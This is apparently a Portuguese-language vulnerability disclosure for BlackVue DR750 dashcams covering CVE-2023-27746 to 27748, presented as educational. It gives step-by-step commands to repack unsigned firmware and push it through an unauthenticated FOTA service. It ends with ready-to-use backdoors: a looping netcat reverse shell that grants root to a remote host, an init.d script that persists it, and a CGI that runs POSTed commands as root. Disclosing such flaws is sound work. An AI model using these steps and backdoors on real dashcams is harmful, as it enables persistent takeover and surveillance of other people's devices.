
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
O conteúdo abaixo é apenas para fins educacionais, não tente isto em nenhum dispositivo que você não possua ou tenha permissão para usar.
No momento da redação, existem cerca de ~300 dispositivos BlackVue vulneráveis online, que podem ser facilmente descobertos e explorados, e nenhum patch oficial foi lançado.
A BlackVue foi informada sobre estas vulnerabilidades em 30-07-2022 e respondeu que investigaria as questões. No entanto, até onde sabemos, nada aconteceu.
Não há verificação de autenticidade para o firmware, o que permite que um atacante malicioso carregue um firmware personalizado. Este firmware personalizado pode incluir backdoors ou exploits.
Passos para reproduzir:
.zip contendo os arquivos de firmwarepatch_<dashcam_name>.bintar.gzpatch_<dashcam_name>.bin (verifique sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Em seguida, basta colocar a pasta BlackVue no cartão SD do dashcam, e ele começará a executá-lo.
Ao criar um firmware para FOTA (Firmware Over The Air), crie um arquivo .tgz do diretório System.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Este arquivo pode então ser usado posteriormente para enviar um firmware personalizado usando FOTA e comprometer completamente um dashcam.
É importante notar que durante os testes, observou-se que mesmo ao atualizar o firmware oficial do site da BlackVue de volta ao dispositivo, os backdoors colocados persistiram.
Os dashcams BlackVue escutam na porta 9771/TCP, onde o serviço FOTA (firmware over the air) está em execução. Este serviço permite fazer ping, reiniciar, obter hora do dispositivo, atualizar firmware, etc.
Não há nada protegendo este endpoint e ele pode ser acessado quando conectado à mesma LAN que o dashcam ou pela internet se o dashcam estiver conectado ao LTE, o que é um risco de segurança significativo. Um script Python que pode se comunicar com o serviço FOTA pode ser encontrado aqui.
Crie um novo firmware baseado nos passos da seção anterior e envie-o usando o script Python.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Esta utilidade não vem com garantia de funcionamento, mas já funcionou uma vez antes.
Os dashcams não vêm com nenhum firewall ativado, o que é menos problemático se o dashcam estiver conectado apenas via Wi-Fi. No entanto, a versão LTE está conectada diretamente à internet, pois alguns provedores de telefonia móvel não configuram firewall e não colocam seus usuários atrás de NAT. Isso pode ser verificado examinando o firmware extraído.
No mínimo, os dashcams BlackVue com LTE devem bloquear conexões no lado LTE.
A senha Wi-Fi padrão do dashcam contém apenas caracteres alfanuméricos minúsculos, com comprimento de 8. É possível interceptar um handshake do dashcam e usar ferramentas do Aircrack-ng para calcular a senha (se o usuário não a alterou). Isso pode ser feito em aproximadamente ~4 dias usando hardware alugado (~40 EUR).
Por padrão, o servidor web pode ser acessado sem autenticação e expõe vários endpoints.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Estes endpoints permitem o seguinte:
O SSID e a senha Wi-Fi da rede à qual o dashcam se conectará são armazenados no cartão SD do dashcam. Esses dados são criptografados, mas a chave é facilmente descoberta através de engenharia reversa do aplicativo. Conforme demonstrado por wifi-decrypt.py.
Também vale notar que ao alterar a rede Wi-Fi à qual o dashcam deve se conectar, esses valores são enviados para os servidores da BlackVue, que os armazenarão até que possam enviar as informações para o dashcam. Se esses dados são excluídos quando o dashcam fica disponível é desconhecido.
Todos estes podem ser combinados em um simples RCE, especialmente com os dashcams LTE.
Alguns exemplos de backdoors, que podem ser incluídos em firmware personalizado.
O seguinte backdoor se conectará a uma máquina remota e dará acesso completo ao shell como root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
O seguinte script init.d iniciará o backdoor a cada inicialização e se conectará ao IP/porta fornecidos.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiO seguinte backdoor permitirá executar comandos (como root), quando um payload for enviado ao servidor web.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING